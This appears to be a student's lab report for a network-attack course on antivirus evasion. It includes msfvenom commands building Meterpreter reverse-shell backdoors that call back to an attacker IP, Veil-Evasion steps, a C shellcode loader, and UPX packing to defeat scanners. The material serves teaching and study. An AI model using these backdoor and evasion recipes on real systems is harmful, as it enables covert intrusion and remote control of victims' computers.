2018-2019-2 网络对抗技术 20165304 Exp3 免杀原理与实践

免杀原理及基础问题回答

一、免杀原理

一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
二、基础问题回答

问:杀软是如何检测出恶意代码的?
基于特征码的检测:简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分析,我们发现了该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。
启发式恶意软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。(非精确)
基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。(非精确)
问:免杀是做什么?
使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
问:免杀的基本方法有哪些?
改变特征码
只有EXE——加壳(压缩壳 加密壳)
有shellcode(像Meterpreter)——利用encode进行编码
有源代码——用其他语言进行重写再编译
veil-evasion
半手工
改变行为
通讯方式
尽量使用反弹式连接
使用隧道技
加密通讯数据
操作模式
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码
非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件
三、免杀效果评价
利用VirusTotal或Virscan,它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  1. 正确使用msf编码器,生成exe文件
    在实验二中使用msf生成了后门程序,我们可以使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。

用VirusTotal扫描后结果如下:

Virscan网站的扫描结果如下

由此可见不加任何处理的后门程序能够被大多数杀软检测到

2.msfvenom生成jar文件
生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=5304 x> lsy_backdoor_java.jar

3.msfvenom生成php文件
生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=5304 x> 20165304_backdoor.php
扫描结果如下:

4.使用veil-evasion生成后门程序及检测
安装veil
用sudo apt-get install veil-evasion命令安装Veil

之后用veil打开veil,输入y继续安装直至完成,这期间可能要等待较长时间:
成功之后,输入veil指令,会出现下面这个界面

用use evasion命令进入Evil-Evasion

输入命令use c/meterpreter/rev_tcp.py进入配置界面

设置反弹连接IP,命令为:set LHOST 192.168.1.130,注意此处的IP是KaliIP;

设置端口,命令为:set LPORT 5304
输入generate生成文件,接着输入你想要playload的名字:veil_c_5304

检测一下:

  1. 半手工注入Shellcode并执行
    首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=5304 -f c用c语言生成一段shellcode;

创建一个文件20165304.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
int (func)() = (int()())buf;
func();
}

使用命令:i686-w64-mingw32-g++ 20165304.c -o 20165304.exe编译这个.c文件为可执行文件;

当想要使用windows上执行该程序时,被电脑的360卫士查杀

6.加壳尝试一下
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
MSF的编码器使用类似方法,对shellcode进行再编码。

在技术上分壳分为:

压缩壳
减少应用体积,如ASPack,UPX
加密壳
版权保护,反跟踪。如ASProtect,Armadillo
虚拟机
通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida
使用压缩壳(UPX)
给之前的20165304.exe加个壳得到sxx_upxed.exe:

杀软没有查到

查看连接情况,可以反弹连接

任务二:通过组合应用各种技术实现恶意代码免杀

通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
任务成功

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本


反弹连接失败

2018-2019-2 网络对抗技术 20165304 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

随机推荐

  1. Git学习之第一次使用PR

    发起PR的流程 1.Fork想要pr的项目,在自己的仓库里建立一个相同的项目. 2.Clone我们Fork的项目,在本地建立一个项目,方便修改. 3.将修改后的本地项目上传到github上. 4.向原 ...

  2. vim中制表符tabstop用法

    设置tabstop成为其它值可能会导致文件在其它地方出现错误有四种主要方法使用tabs在vim里: 1.总是保持tabstop=8,设置softtabstop=4.shiftwidth=4(或3.或任 ...

  3. Centos7快速安装docker

    偶然间发现,docker的安装好容易啊 系统环境:centos7.3 yum源: docker:https://mirrors.aliyun.com/docker-ce/linux/centos/do ...

  4. java虚拟机的学习书籍推荐

    javaEE开发已然是一个老生常谈的话题了,但经典之所以会成为经典,就是因为有可重复琢磨之处,每一次的反复推敲都会有不一样的收获.如果你不满足于做一个只会写if…else…的Java程序员,而是希望更 ...

  5. Vue01

    1.vue.js库的下载 vue.js是目前前端web开发最流行的工具库,由尤雨溪在2014年2月发布的. 另外几个常见的工具库:react.js /angular.js 官方网站: 中文:https ...

  6. Oracle触发bug(cursor: mutex S),造成数据库服务器CPU接近100%---SQL子游标多版本问题

    问题现象: 项目反馈系统反应非常缓慢,数据库服务器CPU接近100%! INSERT INTO GSPAudit1712(ID,TypeID,CategoryID,DateTime,UserID,Us ...

  7. JSP学习1---创建一个简单的jsp程序

    一.新建一个“Dynamic Web Project”动态Web项目 1.1输入项目名称 Project1,在Dynamic Web module version(动态Web模块版本),选择3.0(注 ...

  8. github的markdown页内锚点以及本地资源链接

    页内锚点参考 https://my.oschina.net/antsky/blog/1475173 [aaa](#2-aaabbb) 字母小写,.去掉,空格换成- 本地资源链接 [aaa](docs/ ...

  9. C# .NET MODEL 复制,实体类复制

    -- /// <summary> /// 将T1 实体的参数复制给 T2 ,不能处理多层次 /// </summary> /// <typeparam name=&quo ...

  10. MapperScan和ComponentScan同时使用问题

    @MapperScan:1.首先了解@Mapper    在接口上添加了@Mapper,在编译之后就会生成相应的接口实现类.    不过需要在每个接口上面进行配置,为了简化开发,就有了 @Mapper ...